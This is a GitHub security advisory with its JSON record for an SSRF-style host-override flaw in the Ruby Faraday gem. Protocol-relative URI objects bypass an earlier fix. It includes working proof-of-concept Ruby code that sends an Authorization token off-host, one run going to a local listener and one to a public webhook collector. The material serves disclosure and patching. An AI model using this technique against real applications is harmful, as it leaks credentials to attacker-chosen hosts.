GHSA-5RV5-XJ5J-3484
Vulnerability from github – Published: 2026-05-18 14:51 – Updated: 2026-05-18 14:51Summary
Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
Affected Component
- Repository File(s)/Endpoint(s):
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rb- Function(s):
Faraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_env- Version(s) Tested:
Faraday 2.14.1- repository HEAD
a01039c948d3e9e41e03d152aed7244f0fb4d5ca
Attacker Profile
- Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
- Access Required: Ability to supply data that the application converts to
URI.parse(...)and passes toconn.get(...),[conn.post](http://conn.post/)(...), orreq.url(...) - Capability: Control over a protocol-relative URI such as
URI("//evil.example/pwn")
Steps to Reproduce
- Use the current repository checkout and load Faraday from
lib/. - Build a fixed-base connection and provide a protocol-relative
URIobject toreq.url. - Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
- Observe that the connection-scoped
Authorizationheader remains attached to the off-host request.
Verification Evidence
- Environment: macOS, Ruby from local environment, Faraday
2.14.1,faraday-net_http, local WEBrick listener on127.0.0.1:4567, HEADa01039c948d3e9e41e03d152aed7244f0fb4d5ca - Commands executed:
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code:
0 - stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
Additional External Confirmation
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
Supporting Materials
- Existing advisory for the original string-based issue:
GHSA-33mh-2634-fwr2 - Existing CVE for the original string-based issue:
CVE-2026-25765 - Existing regression tests for the string-only fix:
spec/faraday/connection_spec.rb:314-345- Existing test proving supported
URIrequest input: spec/faraday/request_spec.rb:26-31
Impact
The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.1"
},
"package": {
"ecosystem": "RubyGems",
"name": "faraday"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33637"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T14:51:51Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n - `lib/faraday/connection.rb`\n - `lib/faraday/request.rb`\n - `spec/faraday/connection_spec.rb`\n - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n - `Faraday::Connection#build_exclusive_url`\n - `Faraday::Connection#run_request`\n - `Faraday::Request#url`\n - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n - `Faraday 2.14.1`\n - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e \u0027require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start\u0027\n$ ruby -Ilib -e \u0027require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" =\u003e \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body\u0027\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n \"Authorization\" =\u003e \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n url: \"http://trusted.example/base\",\n headers: { \"Authorization\" =\u003e \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/\u003ccollector-id\u003e\"].join\nresp = conn.get(URI(target))\nresp.status\n# =\u003e 200\nresp.url.host\n# =\u003e \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
"id": "GHSA-5rv5-xj5j-3484",
"modified": "2026-05-18T14:51:51Z",
"published": "2026-05-18T14:51:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-33mh-2634-fwr2"
},
{
"type": "PACKAGE",
"url": "https://github.com/lostisland/faraday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.